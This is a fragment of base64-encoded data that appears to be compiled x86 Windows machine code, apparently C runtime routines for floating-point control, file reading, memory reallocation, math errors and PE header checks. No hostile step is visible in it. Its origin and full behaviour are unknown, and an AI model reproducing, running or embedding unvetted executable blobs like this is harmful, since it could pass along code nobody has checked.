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MzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7rgIEENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u64CBBDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AWeAgQQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLYACBBCAvXD///8AfwfGhXD///8BCsnD3djd2NstlAIEEArtdALZ4ArJdAjdBaYCBBDeycMKyXQC2eDDzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AXAAgQQuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIkMJNssJIPECqkAAAAAi0IEw4tEJAglAADwfz0AAPB/dAHDi0QkCMNmgTwkfwJ0A9ksJFrDZosEJGY9fwJ0HmaD4CB0FZvf4GaD4CB0DLgIAAAA6NkAAABaw9ksJFrDg+wI3RQki0QkBIPECCUAAPB/6xSD7AjdFCSLRCQEg8QIJQAA8H90PT0AAPB/dF9miwQkZj1/AnQqZoPgIHUhm9/gZoPgIHQYuAgAAACD+h10B+h7AAAAWsPoXQAAAFrD2SwkWsPdBewCBBDZydn93dnZwNnh3B3cAgQQm9/gnrgEAAAAc8fcDfwCBBDrv90F5AIEENnJ2f3d2dnA2eHcHdQCBBCb3+CeuAMAAAB2ntwN9AIEEOuWzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6CUFAACDxAzdRfhmgX0IfwJ0A9ltCMnDi/9Vi+yD7CShGAAGEDPFiUX8gz0oKAYQAFZXdBD/NfwpBhD/FcCxAxCL+OsFv5ITAxCLRRSD+BoPjyEBAAAPhA8BAACD+A4Pj6cAAAAPhI4AAABqAlkrwXR4g+gBdGqD6AV0VoPoAQ+FmwEAAMdF4AgDBBCLRQiLz4t1EMdF3AEAAADdAItFDN1d5N0AjUXc3V3s3QZQ3V30/xV4tAMQ/9dZhcAPhVkBAADoc23//8cAIQAAAOlJAQAAiU3cx0XgCAMEEOkEAQAAx0XgBAMEEOuiiU3cx0XgBAMEEOnsAAAAx0XcAwAAAMdF4BADBBDp2QAAAIPoD3RRg+gJdEOD6AEPhQEBAADHReAUAwQQi0UIi8+LdRDHRdwEAAAA3QCLRQzdXeTdAI1F3N1d7N0GUN1d9P8VeLQDEP/XWenCAAAAx0XcAwAAAOt8x0XgEAMEEOu72eiLRRDdGOmpAAAAg+gbdFuD6AF0SoPoFXQ5g+gJdCiD6AN0Fy2rAwAAdAmD6AEPhYAAAACLRQjdAOvGx0XgGAMEEOnZ/v//x0XgIAMEEOnN/v//x0XgKAMEEOnB/v//x0XgFAMEEOm1/v//x0XcAgAAAMdF4BQDBBCLRQiLz4t1EN0Ai0UM3V3k3QCNRdzdXezdBlDdXfT/FXi0AxD/11mFwHUL6CVs///HACIAAADdRfTdHotN/F8zzV7oQoX+/4vlXcOL/1WL7FFRU1a+//8AAFZoPxsAAOizAAAA3UUIi9hZWQ+3TQ648H8AACPIUVHdHCRmO8h1N+irCwAASFlZg/gCdw5WU+iDAAAA3UUIWVnrY91FCN0FMAMEEFOD7BDYwd1cJAjdHCRqDGoI6z/olAMAAN1V+N1FCIPECN3h3+D2xER6Elbd2VPd2Og+AAAA3UX4WVnrHvbDIHXpU4PsENnJ3VwkCN0cJGoMahDonwMAAIPEHF5bi+Vdw4v/VYvsUd19/NviD79F/IvlXcOL/1WL7FFRm9l9/ItNDItFCPfRZiNN/CNFDGYLyGaJTfjZbfgPv0X8i+Vdw4v/VYvsi00Ig+wM9sEBdArbLTgDBBDbXfyb9sEIdBCb3+DbLTgDBBDdXfSbm9/g9sEQdArbLUQDBBDdXfSb9sEEdAnZ7tno3vHd2Jv2wSB0Btnr3V30m4vlXcOL/1WL7FGb3X38D79F/IvlXcOL/1WL7FFR3UUIUVHdHCToygoAAFlZqJB1St1FCFFR3Rwk6HkCAADdRQjd4d/gWVnd2fbERHor3A1wCwQQUVHdVfjdHCToVgIAAN1F+Nrp3+BZWfbERHoFagJY6wkzwEDrBN3YM8CL5V3Di/9Vi+zdRQi5AADwf9nhuAAA8P85TRR1O4N9EAB1ddno2NHf4PbEBXoP3dnd2N0FAA0EEOnpAAAA2NHf4N3Z9sRBi0UYD4XaAAAA3djZ7unRAAAAOUUUdTuDfRAAdTXZ6NjR3+D2xAV6C93Z3djZ7umtAAAA2NHf4N3Z9sRBi0UYD4WeAAAA3djdBQANBBDpkQAAAN3YOU0MdS6DfQgAD4WCAAAA2e7dRRDY0d/g9sRBD4Rz////2Nnf4PbEBYtFGHti3djZ6OtcOUUMdVmDfQgAdVPdRRBRUd0cJOi1/v//2e7dRRBZWdjRi8jf4PbEQXUT3dnd2N0FAA0EEIP5AXUg2eDrHNjZ3+D2xAV6D4P5AXUO3djdBRANBBDrBN3Y2eiLRRjdGDPAXcOL/1OL3FFRg+Twg8QEVYtrBIlsJASL7IHsiAAAAKEYAAYQM8WJRfyLQxBWi3MMVw+3CImNfP///4sGg+gBdCmD6AF0IIPoAXQXg+gBdA6D6AF0FYPoA3VyahDrDmoS6wpqEesGagTrAmoIX1GNRhhQV+itAQAAg8QMhcB1R4tLCIP5EHQQg/kWdAuD+R10BoNlwP7rEotFwN1GEIPg44PIA91dsIlFwI1GGFCNRghQUVeNhXz///9QjUWAUOhCAwAAg8QYi418////aP//AABR6P38//+DPghZWXQU6E+s//+EwHQLVuhyrP//WYXAdQj/NuggBgAAWYtN/F8zzV7oQIH+/4vlXYvjW8OL/1WL7FFR3UUI2fzdXfjdRfiL5V3Di/9Vi+yLRQioIHQEagXrF6gIdAUzwEBdw6gEdARqAusGqAF0BWoDWF3DD7bAg+ACA8Bdw4v/U4vcUVGD5PCDxARVi2sEiWwkBIvsgeyIAAAAoRgABhAzxYlF/FaLcyCNQxhXVlD/cwjolQAAAIPEDIXAdSaDZcD+UI1DGFCNQxBQ/3MMjUMg/3MIUI1FgFDocQIAAItzIIPEHP9zCOhe////WYv46GWr//+EwHQphf90Jd1DGFaD7BjdXCQQ2e7dXCQI3UMQ3Rwk/3MMV+hTBQAAg8Qk6xhX6BkFAADHBCT//wAAVujH+///3UMYWVmLTfxfM81e6CiA/v+L5V2L41vDi/9Vi+yD7BBTi10IVovzg+Yf9sMIdBb2RRABdBBqAei3+///WYPm9+mQAQAAi8MjRRCoBHQQagTonvv//1mD5vvpdwEAAPbDAQ+EmgAAAPZFEAgPhJAAAABqCOh7+///i0UQWbkADAAAI8F0VD0ABAAAdDc9AAgAAHQaO8F1YotNDNnu3Bnf4N0FCA0EEPbEBXtM60iLTQzZ7twZ3+D2xAV7LN0FCA0EEOsyi00M2e7cGd/g9sQFeh7dBQgNBBDrHotNDNnu3Bnf4PbEBXoI3QUADQQQ6wjdBQANBBDZ4N0Zg+b+6dQAAAD2wwIPhMsAAAD2RRAQD4TBAAAAVzP/9sMQdAFHi00M3QHZ7trp3+D2xEQPi5EAAADdAY1F/FBRUd0cJOicBAAAi0X8g8QMBQD6//+JRfzdVfDZ7j3O+///fQcz/97JR+tZ3tkz0t/g9sRBdQFCi0X2uQP8//+D4A+DyBBmiUX2i0X8O8F9KyvIi0Xw9kXwAXQFhf91AUfR6PZF9AGJRfB0CA0AAACAiUXw0W30g+kBddrdRfCF0nQC2eCLRQzdGOsDM/9Hhf9fdAhqEOgi+v//WYPm/fbDEHQR9kUQIHQLaiDoDPr//1mD5u8zwIX2Xg+UwFuL5V3Di/9Vi+xqAP91HP91GP91FP91EP91DP91COgFAAAAg8QcXcOL/1WL7ItFCDPJUzPbQ4lIBItFCFe/DQAAwIlICItFCIlIDItNEPbBEHQLi0UIv48AAMAJWAT2wQJ0DItFCL+TAADAg0gEAvbBAXQMi0UIv5EAAMCDSAQE9sEEdAyLRQi/jgAAwINIBAj2wQh0DItFCL+QAADAg0gEEItNCFaLdQyLBsHgBPfQM0EIg+AQMUEIi00IiwYDwPfQM0EIg+AIMUEIi00IiwbR6PfQM0EIg+AEMUEIi00IiwbB6AP30DNBCIPgAjFBCIsGi00IwegF99AzQQgjwzFBCOhU+f//i9D2wgF0B4tNCINJDBD2wgR0B4tFCINIDAj2wgh0B4tFCINIDAT2whB0B4tFCINIDAL2wiB0BotFCAlYDIsGuQAMAAAjwXQ1PQAEAAB0Ij0ACAAAdAw7wXUpi0UIgwgD6yGLTQiLAYPg/oPIAokB6xKLTQiLAYPg/QvD6/CLRQiDIPyLBrkAAwAAI8F0ID0AAgAAdAw7wXUii0UIgyDj6xqLTQiLAYPg54PIBOsLi00IiwGD4OuDyAiJAYtFCItNFMHhBTMIgeHg/wEAMQiLRQgJWCCDfSAAdCyLRQiDYCDhi0UY2QCLRQjZWBCLRQgJWGCLRQiLXRyDYGDhi0UI2QPZWFDrOotNCItBIIPg44PIAolBIItFGN0Ai0UI3VgQi0UICVhgi00Ii10ci0Fgg+Djg8gCiUFgi0UI3QPdWFDodff//41FCFBqAWoAV/8VKLIDEItNCPZBCBB0A4Mm/vZBCAh0A4Mm+/ZBCAR0A4Mm9/ZBCAJ0A4Mm7/ZBCAF0A4Mm34sBuv/z//+D4AOD6AB0NYPoAXQig+gBdA2D6AF1KIEOAAwAAOsgiwYl//v//w0ACAAAiQbrEIsGJf/3//8NAAQAAOvuIRaLAcHoAoPgB4PoAHQZg+gBdAmD6AF1GiEW6xaLBiPCDQACAADrCYsGI8INAAMAAIkGg30gAF50B9lBUNkb6wXdQVDdG19bXcOL/1WL7ItFCIP4AXQVg8D+g/gBdxjo32H//8cAIgAAAF3D6NJh///HACEAAABdw4v/VYvsi1UMg+wgM8mLwTkUxQgMBBB0CECD+B188esHiwzFDAwEEIlN5IXJdFWLRRCJReiLRRSJReyLRRiJRfCLRRxWi3UIiUX0i0UgaP//AAD/dSiJRfiLRSSJdeCJRfzoJvb//41F4FDoqKX//4PEDIXAdQdW6FX///9Z3UX4XusbaP//AAD/dSjo/PX///91COg5////3UUgg8QMi+Vdw4v/VYvs3UUI2e7d4d/gV/bERHoJ3dkz/+mvAAAAVmaLdQ4Pt8ap8H8AAHV8i00Mi1UI98H//w8AdQSF0nRq3tm/A/z//9/g9sRBdQUzwEDrAjPA9kUOEHUfA8mJTQyF0nkGg8kBiU0MA9JP9kUOEHToZot1DolVCLnv/wAAZiPxZol1DoXAdAy4AIAAAGYL8GaJdQ7dRQhqAFFR3Rwk6DEAAACDxAzrI2oAUd3YUd0cJOgeAAAAD7f+g8QMwe8Egef/BwAAge/+AwAAXotFEIk4X13Di/9Vi+xRUYtNEA+3RQ7dRQglD4AAAN1d+I2J/gMAAMHhBAvIZolN/t1F+IvlXcOL/1WL7IF9DAAA8H+LRQh1B4XAdRVAXcOBfQwAAPD/dQmFwHUFagJYXcNmi00Ouvh/AABmI8pmO8p1BGoD6+i68H8AAGY7ynUR90UM//8HAHUEhcB0BGoE680zwF3Di/9Vi+xmi00OuvB/AABmi8FmI8JmO8J1M91FCFFR3Rwk6Hz///9ZWYPoAXQYg+gBdA6D6AF0BTPAQF3DagLrAmoEWF3DuAACAABdww+3yYHhAIAAAGaFwHUe90UM//8PAHUGg30IAHQP99kbyYPhkI2BgAAAAF3D3UUI2e7a6d/g9sREegz32RvJg+HgjUFAXcP32RvJgeEI////jYEAAQAAXcP/JSyxAxDMzMzMzMzMzFWL7ItFCDPSU1ZXi0g8A8gPt0EUD7dZBoPAGAPBhdt0G4t9DItwDDv+cgmLSAgDzjv5cgpCg8AoO9Ny6DPAX15bXcPMzMzMzMzMzMzMzMzMVYvsav5owN4FEGhg7wEQZKEAAAAAUIPsCFNWV6EYAAYQMUX4M8VQjUXwZKMAAAAAiWXox0X8AAAAAGgAAAAQ6HwAAACDxASFwHRUi0UILQAAABBQaAAAABDoUv///4PECIXAdDqLQCTB6B/30IPgAcdF/P7///+LTfBkiQ0AAAAAWV9eW4vlXcOLReyLADPJgTgFAADAD5TBi8HDi2Xox0X8/v///zPAi03wZIkNAAAAAFlfXluL5V3DzMzMzMzMVYvsi0UIuU1aAABmOQh0BDPAXcOLSDwDyDPAgTlQRQAAdQy6CwEAAGY5URgPlMBdw8zMzMzMzMzMzMzMzMzMzFaLRCQUC8B1KItMJBCLRCQMM9L38YvYi0QkCPfxi/CLw/dkJBCLyIvG92QkEAPR60eLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi/D3ZCQUi8iLRCQQ9+YD0XIOO1QkDHcIcg87RCQIdglOK0QkEBtUJBQz2ytEJAgbVCQM99r32IPaAIvKi9OL2YvIi8ZewhAAzMzMzMzMzMzMzMyLRCQIi0wkEAvIi0wkDHUJi0QkBPfhwhAAU/fhi9iLRCQI92QkFAPYi0QkCPfhA9NbwhAAzMzMzMzMzMzMzMzMgPlAcxWA+SBzBg+lwtPgw4vQM8CA4R/T4sMzwDPSw8yA+UBzFYD5IHMGD63Q0+rDi8Iz0oDhH9PowzPAM9LDzGhg7wEQZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoRgABhAxRfwzxYlF5FCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAA8sOLTeQzzfLohXX+//LpvHP+/8zMzMzMzFdWVTP/M+2LRCQUC8B9FUdFi1QkEPfY99qD